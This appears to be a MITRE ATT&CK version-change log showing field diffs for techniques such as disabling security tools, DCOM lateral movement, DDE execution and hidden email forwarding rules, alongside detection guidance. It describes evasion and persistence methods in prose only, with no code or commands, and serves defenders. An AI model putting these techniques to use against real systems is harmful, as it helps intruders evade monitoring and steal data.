| description | Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information. | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) |
| x_mitre_detection | Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. | Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. Lack of expected log events may be suspicious. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'} | |
| external_references | {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'} | |
| x_mitre_contributors | Gordon Long, Box, Inc., @ethicalhax |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote machines by taki | > | g/techniques/T1078) to interact with remote machines by taki | ||
| > | ng advantage of Distributed Component Object Model (DCOM). T | > | ng advantage of Distributed Component Object Model (DCOM). T | ||
| > | he adversary may then perform actions as the logged-on user. | > | he adversary may then perform actions as the logged-on user. | ||
| > | The Windows Component Object Model (COM) is a component of | > | The Windows Component Object Model (COM) is a component of | ||
| > | the native Windows application programming interface (API) | > | the native Windows application programming interface (API) | ||
| > | that enables interaction between software objects, or execut | > | that enables interaction between software objects, or execut | ||
| > | able code that implements one or more interfaces. Through CO | > | able code that implements one or more interfaces. Through CO | ||
| > | M, a client object can call methods of server objects, which | > | M, a client object can call methods of server objects, which | ||
| > | are typically Dynamic Link Libraries (DLL) or executables ( | > | are typically Dynamic Link Libraries (DLL) or executables ( | ||
| > | EXE). Distributed COM (DCOM) is transparent middleware that | > | EXE). Distributed COM (DCOM) is transparent middleware that | ||
| > | extends the functionality of COM beyond a local computer usi | > | extends the functionality of COM beyond a local computer usi | ||
| > | ng remote procedure call (RPC) technology.(Citation: Fireeye | > | ng remote procedure call (RPC) technology.(Citation: Fireeye | ||
| > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | ||
| > | s to interact with local and remote server COM objects are s | > | s to interact with local and remote server COM objects are s | ||
| > | pecified by access control lists (ACL) in the Registry.(Cita | > | pecified by access control lists (ACL) in the Registry.(Cita | ||
| > | tion: Microsoft Process Wide Com Keys) By default, only Admi | > | tion: Microsoft Process Wide Com Keys) By default, only Admi | ||
| > | nistrators may remotely activate and launch COM objects thro | > | nistrators may remotely activate and launch COM objects thro | ||
| > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | ||
| > | aries operating in the context of an appropriately privilege | > | aries operating in the context of an appropriately privilege | ||
| > | d user can remotely obtain arbitrary and even direct shellco | > | d user can remotely obtain arbitrary and even direct shellco | ||
| > | de execution through Office applications(Citation: Enigma Ou | > | de execution through Office applications(Citation: Enigma Ou | ||
| > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | ||
| > | ws objects that contain insecure methods.(Citation: Enigma M | > | ws objects that contain insecure methods.(Citation: Enigma M | ||
| > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | ||
| > | n 2017) DCOM can also execute macros in existing documents(C | > | n 2017) DCOM can also execute macros in existing documents(C | ||
| > | itation: Enigma Excel DCOM Sept 2017) and may also invoke Dy | > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | ||
| > | namic Data Exchange (DDE) execution directly through a COM c | > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | ||
| > | reated instance of a Microsoft Office application(Citation: | > | 559/002) (DDE) execution directly through a COM created inst | ||
| > | Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing t | > | ance of a Microsoft Office application(Citation: Cyberreason | ||
| > | he need for a malicious document. | > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | ||
| > | a malicious document. DCOM can be used as a method of remot | ||||
| > | ely interacting with [Windows Management Instrumentation](ht | ||||
| > | tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM | ||||
| > | I) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 20:21:03.684000+00:00 | 2021-06-23 18:58:32.752000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI) |
| x_mitre_detection | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic. | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Jon Sternstein, Stern Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:42:11.787000+00:00 | 2021-10-19 03:29:47.651000+00:00 |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Ubuntu SSSD Docs', 'description': 'Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.', 'url': 'https://ubuntu.com/server/docs/service-sssd'} | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:50:38.792000+00:00 | 2021-10-16 17:09:26.334000+00:00 |
| x_mitre_detection | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:02:43.030000+00:00 | 2021-10-17 15:51:26.715000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:48:15.056000+00:00 | 2021-07-28 01:37:46.704000+00:00 |
| x_mitre_detection | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 17:52:55.302000+00:00 | 2021-10-17 16:27:38.793000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). | If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e | t | 1 | Adversaries may use Windows Dynamic Data Exchange (DDE) to e |
| > | xecute arbitrary commands. DDE is a client-server protocol f | > | xecute arbitrary commands. DDE is a client-server protocol f | ||
| > | or one-time and/or continuous inter-process communication (I | > | or one-time and/or continuous inter-process communication (I | ||
| > | PC) between applications. Once a link is established, applic | > | PC) between applications. Once a link is established, applic | ||
| > | ations can autonomously exchange transactions consisting of | > | ations can autonomously exchange transactions consisting of | ||
| > | strings, warm data links (notifications when a data item cha | > | strings, warm data links (notifications when a data item cha | ||
| > | nges), hot data links (duplications of changes to a data ite | > | nges), hot data links (duplications of changes to a data ite | ||
| > | m), and requests for command execution. Object Linking and | > | m), and requests for command execution. Object Linking and | ||
| > | Embedding (OLE), or the ability to link data between documen | > | Embedding (OLE), or the ability to link data between documen | ||
| > | ts, was originally implemented through DDE. Despite being su | > | ts, was originally implemented through DDE. Despite being su | ||
| > | perseded by [Component Object Model](https://attack.mitre.or | > | perseded by [Component Object Model](https://attack.mitre.or | ||
| > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | > | g/techniques/T1559/001), DDE may be enabled in Windows 10 an | ||
| > | d most of Microsoft Office 2016 via Registry keys. (Citation | > | d most of Microsoft Office 2016 via Registry keys. (Citation | ||
| > | : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | > | : BleepingComputer DDE Disabled in Word Dec 2017) (Citation: | ||
| > | Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | > | Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advi | ||
| > | sory Nov 2017) Microsoft Office documents can be poisoned w | > | sory Nov 2017) Microsoft Office documents can be poisoned w | ||
| > | ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | > | ith DDE commands (Citation: SensePost PS DDE May 2016) (Cita | ||
| > | tion: Kettle CSV DDE Aug 2014), directly or through embedded | > | tion: Kettle CSV DDE Aug 2014), directly or through embedded | ||
| > | files (Citation: Enigma Reviving DDE Jan 2018), and used to | > | files (Citation: Enigma Reviving DDE Jan 2018), and used to | ||
| > | deliver execution via [Phishing](https://attack.mitre.org/t | > | deliver execution via [Phishing](https://attack.mitre.org/t | ||
| > | echniques/T1566) campaigns or hosted Web content, avoiding t | > | echniques/T1566) campaigns or hosted Web content, avoiding t | ||
| > | he use of Visual Basic for Applications (VBA) macros. (Citat | > | he use of Visual Basic for Applications (VBA) macros. (Citat | ||
| > | ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | > | ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | ||
| > | eraged by an adversary operating on a compromised machine wh | > | eraged by an adversary operating on a compromised machine wh | ||
| > | o does not have direct access to a [Command and Scripting In | > | o does not have direct access to a [Command and Scripting In | ||
| > | terpreter](https://attack.mitre.org/techniques/T1059). | > | terpreter](https://attack.mitre.org/techniques/T1059). DDE e | ||
| > | xecution can be invoked remotely via [Remote Services](https | ||||
| > | ://attack.mitre.org/techniques/T1021) such as [Distributed C | ||||
| > | omponent Object Model](https://attack.mitre.org/techniques/T | ||||
| > | 1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:32:56.572000+00:00 | 2021-07-26 22:52:04.196000+00:00 |
| description | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) |
| external_references[8]['source_name'] | NVisio Labs DDE Detection Oct 2017 | Fireeye Hunting COM June 2019 |
| external_references[8]['description'] | NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. | Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. |
| external_references[8]['url'] | https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ | https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 18:29:30.879000+00:00 | 2021-10-18 12:20:00.382000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 2.3
Version changed from: 2.2 → 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 14:22:44.435000+00:00 | 2021-10-15 20:19:33.750000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may setup email forwarding rules to collect sens |
| > | itive information. Adversaries may abuse email-forwarding ru | > | itive information. Adversaries may abuse email-forwarding ru | ||
| > | les to monitor the activities of a victim, steal information | > | les to monitor the activities of a victim, steal information | ||
| > | , and further gain intelligence on the victim or the victim’ | > | , and further gain intelligence on the victim or the victim’ | ||
| > | s organization to use as part of further exploits or operati | > | s organization to use as part of further exploits or operati | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W | > | ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo | ||
| > | eb App (OWA) allow users to create inbox rules for various e | > | rwarding rules can allow adversaries to maintain persistent | ||
| > | mail functions, including forwarding to a different recipien | > | access to victim's emails even after compromised credentials | ||
| > | t. Similarly, Google Workspace users or administrators can s | > | are reset by administrators.(Citation: Pfammatter - Hidden | ||
| > | et up mail forwarding rules via the Google Workspace web int | > | Inbox Rules) Most email clients allow users to create inbox | ||
| > | erface. Messages can be forwarded to internal or external re | > | rules for various email functions, including forwarding to a | ||
| > | cipients, and there are no restrictions limiting the extent | > | different recipient. These rules may be created through a l | ||
| > | of this rule. Administrators may also create forwarding rule | > | ocal email application, a web interface, or by command-line | ||
| > | s for user accounts with the same considerations and outcome | > | interface. Messages can be forwarded to internal or external | ||
| > | s.(Citation: Microsoft Tim McMichael Exchange Mail Forwardin | > | recipients, and there are no restrictions limiting the exte | ||
| > | g 2) Any user or administrator within the organization (or | > | nt of this rule. Administrators may also create forwarding r | ||
| > | adversary with valid credentials) can create rules to autom | > | ules for user accounts with the same considerations and outc | ||
| > | atically forward all received messages to another recipient, | > | omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar | ||
| > | forward emails to different locations based on the sender, | > | ding 2)(Citation: Mac Forwarding Rules) Any user or adminis | ||
| > | and more. | > | trator within the organization (or adversary with valid cred | ||
| > | entials) can create rules to automatically forward all recei | ||||
| > | ved messages to another recipient, forward emails to differe | ||||
| > | nt locations based on the sender, and more. Adversaries may | ||||
| > | also hide the rule by making use of the Microsoft Messaging | ||||
| > | API (MAPI) to modify the rule properties, making it hidden a | ||||
| > | nd not visible from Outlook, OWA or most Exchange Administra | ||||
| > | tion tools.(Citation: Pfammatter - Hidden Inbox Rules) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-25 13:08:30.699000+00:00 | 2021-10-15 20:19:33.416000+00:00 |
| description | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) |
| external_references[2]['source_name'] | Microsoft Tim McMichael Exchange Mail Forwarding 2 | Pfammatter - Hidden Inbox Rules |
| external_references[2]['description'] | McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
